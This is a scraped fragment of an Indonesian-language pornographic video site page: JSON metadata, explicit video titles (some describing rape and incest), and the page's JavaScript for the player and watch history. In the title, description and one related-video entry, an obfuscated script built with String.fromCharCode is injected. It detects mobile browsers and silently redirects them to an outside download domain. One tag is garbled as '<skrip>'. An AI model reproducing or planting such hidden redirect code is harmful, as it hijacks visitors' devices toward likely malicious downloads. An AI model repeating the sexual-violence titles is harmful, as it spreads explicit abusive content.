</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Seorang wanita yang sudah menikah dibiarkan di kursi penahan selama dua jam…kisah bagaimana ia tumbuh menjadi wanita mesum yang suka mengeluarkan air liur. Momoko Isshiki, Madonna
Seorang wanita yang sudah menikah dibiarkan di kursi penahan selama dua jam…kisah bagaimana ia tumbuh menjadi wanita mesum yang suka mengeluarkan air liur. Momoko Isshiki, Madonna","site_id":0,"video_url":"https://2605.v155p.com/20260605/A06dZ3WM/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMzU5Nzg1NTQ4ODQzZGNlMTcyOGVlYmY1NTBhODEwNTIuanBn.cache","duration":"02:17:03","actor":[],"lastmod":1783766805,"rating":"9.0","view_count":520,"description":"Seorang wanita yang sudah menikah dibiarkan di kursi penahan selama dua jam... kisah tentang bagaimana ia tumbuh menjadi wanita yang pemarah dan penuh gejolak. —Momoko Isshiki, Madonna","tag":["satu","Telah menikah","wanita yang sudah menikah","Wanita","batasan","Kursi penahan","dua","Jam","air liur","abnormal","wanita mesum","wanita","cerita","Satu warna","Isshiki Momo","Persik Isshiki","buah persik berwarna","persik","Dana"],"site_url":"174668","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["制服诱惑"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMzU5Nzg1NTQ4ODQzZGNlMTcyOGVlYmY1NTBhODEwNTIuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"一个已婚妇女被留在约束椅上两个小时…成长为一个满身口水的变态女人的故事。 一色桃子 玛丹娜","s_keywords":"一个已婚妇女被留在约束椅上两个小时…成长为一个满身口水的变态女人的故事。 一色桃子 玛丹娜","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Seorang wanita yang sudah menikah dibiarkan di kursi penahan selama dua jam…kisah bagaimana ia tumbuh menjadi wanita mesum yang suka mengeluarkan air liur. Momoko Isshiki, Madonna","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmE4ZTY2MTI1OWFmZDc4NWNiOWYyYjU1YzFlMmJmZjYuanBn.cache","vod_id":19016185,"title":"NTK157 \"Zona erotis berada di dalam vagina...\" Akane menikmati tubuh matang seorang wanita kantoran dengan ukuran payudara F, menggoyangkan seluruh tubuhnya dan payudara besarnya yang indah sambil melakukan yoga!! Aku bertemu seorang model mesum, dan setelah berhubungan seks untuk pertama kalinya setelah sekian lama, dia terus tertawa! ?: Berapa harga hotel cinta? ? No. 025.","lastmod":"2025-03-24","duration":"01:14:22","url":"/play/19016185.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTEvZmFjYzdjM2QxMTUyNzI2Y2IxYzQ2Mzk4YWY0YmYzM2MuanBn.cache","vod_id":19046508,"title":"Peach pergi jalan-jalan di musim gugur, memamerkan diri di IKEA pada siang hari dan bersantai dengan tubuhnya yang seksi di malam hari.","lastmod":"2025-08-10","duration":"09:37","url":"/play/19046508.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTk5MDI0YmMwNWNmZWZlMWJlOGZmMzA5NzEzNDAxMDkuanBn.cache","vod_id":18973446,"title":"BBAN-331: Nomor satu dalam tingkat pelanggan tetap! Nomor satu dalam tingkat perselingkuhan! Seorang wanita menikah yang kecanduan rumah bordil lesbian, dengan gadis pengantar makanan bertubuh seksi Tanaka Nene dan Kato Ayano.","lastmod":"2025-12-14","duration":"01:57:38","url":"/play/18973446.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmY5ZWQ5MmM0YTg3ZTkxZTI2Mzk4MmJkZDA2NDQwOWYuanBn.cache","vod_id":19141100,"title":"Seorang istri, yang tidak puas dengan suaminya, berselingkuh dan menemukan teknik perbudakan dan disiplin. Dia menikmati kesenangan menyimpang yang dipicu oleh perasaan pelanggaran dan liku-liku nasib yang kejam. (GMA-084)","lastmod":"2026-02-02","duration":"01:59:04","url":"/play/19141100.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWRlZTFjMWY4ZDc2ZDk5YTMzMGUwYzQ5YTRjNDc2ZTAuanBn.cache","vod_id":18958698,"title":"328HMDNC-547 [Payudara dan Lekuk Tubuh yang Indah] Wanita menikah berusia 29 tahun dengan sosok tubuh yang menggoda. Jemput istri seksi dan bawa dia kembali ke kamar Anda!","lastmod":"2025-03-22","duration":"01:00:16","url":"/play/18958698.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGU5MTFkZDhhZDJiZDJhMjQ0ODFhOTlhZWYwN2EyZmQuanBn.cache","vod_id":18941854,"title":"RCT-685 Bahasa Jorok, Lesbian Mesum","lastmod":"2025-12-14","duration":"02:17:08","url":"/play/18941854.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjIxOGM5ZTMyMjMwMjc4MjJiYjEwMGI0MmJkZDNiYjguanBn.cache","vod_id":18939599,"title":"BBAN-206100% 甜美的脸庞可以诱惑任何女人! ! Mihi Nagai 是一个非常英俊的双性恋女孩","lastmod":"2025-03-22","duration":"01:57:59","url":"/play/18939599.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzQ4NTdmOGJmNTU0OWI1ZjdiZDI4NmMwMGQ3NDJmMWYuanBn.cache","vod_id":18982708,"title":"Dua gadis baru yang berwajah segar! Mereka benar-benar tahu cara bermain dengan perbudakan SM! Borgol, penutup mulut, kaki diikat dan direntangkan, klitoris digetarkan dengan telur getar, mereka menutup mata dan sangat menikmatinya.","lastmod":"2025-12-14","duration":"00:46:24","url":"/play/18982708.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTg1YTg0YzYwOTJhNzM1MjY2NWM3MGYzYjdlOGQ1NWEuanBn.cache","vod_id":18968340,"title":"UMSO-501: Gunakan mainan untuk membuat gadis-gadis cantik mencapai orgasme selama 4 jam.","lastmod":"2025-03-23","duration":"04:00:42","url":"/play/18968340.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTUzNmNjM2YxNTNmNzFlMTQzYWU4YWNlZjczNDJiMmYuanBn.cache","vod_id":18991049,"title":"YMSR-018-P3 [Volume 3] Pelatihan Seksual Anal Wanita Menikah: 2 Lubang, Orgasme Iblis, Berubah Menjadi Istri Desa Masokis Selama 5 Jam (Inses)","lastmod":"2025-03-23","duration":"01:45:00","url":"/play/18991049.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjQyMjdmYmIwNzJhZGExODNjMzFiMjIyYTFlYzM4MjIuanBn.cache","vod_id":18975408,"title":"FC2PPV 3366636 【Penyihir Cantik, Wanita Dewasa】Ini—Mangkuk Putri! Sejujurnya, wanita dewasa saja tidak cukup. Saat ini saya sedang terlibat dalam negosiasi serius.","lastmod":"2025-03-23","duration":"01:00:47","url":"/play/18975408.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzI0MTBmZmJlYzBhMTE3ZjIwNzhhZWI0ODMyNzViNDYuanBn.cache","vod_id":19018751,"title":"XVSR504 Menikah dengan perundungan dan semut bahagia neraka Kotobuki Suzumiya.","lastmod":"2025-03-24","duration":"02:13:40","url":"/play/19018751.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWYwZGQ3NzY5YjUwOWY3NjFjY2Y4YzY2YmUzMTZkOTUuanBn.cache","vod_id":19022349,"title":"BIJN148 adalah seorang wanita bejat dan mesum bernama Misaki Yui yang ingin diperkosa, dilecehkan oleh pria selain suaminya, dan mendambakan penetrasi.","lastmod":"2025-03-24","duration":"02:03:39","url":"/play/19022349.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWFmYmVhM2IxMDVhNWUwY2I2ODY0MDdiNjc5ZDBkNTkuanBn.cache","vod_id":18955479,"title":"Seorang kakak perempuan yang genit mengajak adik perempuannya ke siaran langsung untuk melihat bagaimana dia memuaskan pria, termasuk seks oral 69, penis besar, threesome yang penuh gairah, diperkosa beramai-ramai oleh dua pria, dan menggunakan alat bantu masturbasi untuk memikat penonton pria.","lastmod":"2025-12-14","duration":"01:08:16","url":"/play/18955479.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzcwZTQzYjA2NzBjOWU3NmQ4ODhjNjRkZjdhZjg1MTAuanBn.cache","vod_id":18943126,"title":"MZQ-009 - Gadis amatir, pertahanan lemah, 8 jam","lastmod":"2025-12-14","duration":"02:43:18","url":"/play/18943126.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGI5MmM4Mjk1MTMxNWNiNmM5YTcyMmI2NWRjY2I4MzYuanBn.cache","vod_id":18966826,"title":"Gangster bertopeng itu memberi makan dua wanita menikah kelas atas, yang keduanya cabul dan menggoda, melayaninya dengan seks oral, menghisap payudaranya, bermain-main dengan vaginanya, dan diperkosa beramai-ramai serta disetubuhi. Erangan dan desahan mereka yang terus-menerus sangat merangsang.","lastmod":"2025-12-14","duration":"01:03:46","url":"/play/18966826.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjYvYTU0YjE5MWEwNTUxNzA0M2Q5MTMyNTdmNmRhNDE3ZWUuanBn.cache","vod_id":19054282,"title":"Adik perempuan yang nakal merayuku, menjilatku, dan membuatku mencapai orgasme! #ShunkaSuzumura HGMJ017","lastmod":"2025-09-25","duration":"01:39:03","url":"/play/19054282.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjNkN2Y5ODA1YzFiNDgwODM3MDZjNTUwNGIxZDQ1NGQuanBn.cache","vod_id":18923769,"title":"FC2PPV-1194578 [Rekaman Pribadi] Dua Istri Biasa Saling Memakan Satu Sama Lain Secara Bersamaan","lastmod":"2025-12-14","duration":"01:07:23","url":"/play/18923769.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmFlM2M1MDkwNGIzN2ZjZTU0N2UyNTgzNmM4MjE4MTguanBn.cache","vod_id":19136938,"title":"Adegan seks jarak dekat yang dewasa, intens, dan lengket, 4 jam 7 menit, aktor tidak dikenal, PRMJ-328","lastmod":"2026-01-06","duration":"04:05:33","url":"/play/19136938.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvYWJkOGZhMTNkYzZlY2ZhOGM4MTZkZTJjNjljMDExMGEuanBn.cache","vod_id":19165055,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Ketika pria berdada besar dilepaskan, dia diperas setiap malam~Tugas pelayanan seorang wanita yang telah terlatih dalam teknik seks selama bertahun-tahun~ Karya asli: Desen Half Store 550 MOODYZ","lastmod":"2026-07-11","duration":"01:58:28","url":"/play/19165055.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTQvOWFkNTA5NTBmM2Y5YzZiM2MzMDllYzUyZTEyZTE4OTMuanBn.cache","vod_id":19028904,"title":"Sebuah ritual keagamaan yang membuat seorang perawan kecanduan seks dalam waktu satu bulan. Dokumen Miharu Hanesaki tentang kehilangan keperawanannya dan hidup bersama. Miharu Hanesaki SSIS-451-C.","lastmod":"2025-04-13","duration":"02:41:57","url":"/play/19028904.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGJiMTE0ZGExYjVmZGQwZWY3ODc1N2Y4NTBhZGRkYTcuanBn.cache","vod_id":18966526,"title":"[4K] PED-028 Aku hanya meninggalkan mereka sendirian selama 7 jam... dan mereka akhirnya berhubungan seks 10 kali. Nogi Hotaru","lastmod":"2025-12-14","duration":"02:19:12","url":"/play/18966526.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWRkZTMyNmYyMjBiZmI0YmNiZWMzNjM4ZmU0NmZhOTQuanBn.cache","vod_id":18945639,"title":"[Subtitle Bahasa Mandarin] KRI-092 Syuting NTR di depan suami wanita yang sudah menikah.","lastmod":"2025-12-14","duration":"02:14:39","url":"/play/18945639.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2M2NmE3NzUwMjhmY2FlMjA0MzYwYjBjN2Y4MmMyZGIuanBn.cache","vod_id":18977103,"title":"[Subtitle Bahasa Mandarin] RCTD-526 Wanita yang Berpura-pura Menjadi Boneka Tiup - Boneka Telanjang - Kudo Lala","lastmod":"2025-12-14","duration":"02:20:27","url":"/play/18977103.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Seorang wanita yang sudah menikah dibiarkan di kursi penahan selama dua jam…kisah bagaimana ia tumbuh menjadi wanita mesum yang suka mengeluarkan air liur. Momoko Isshiki, Madonna',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}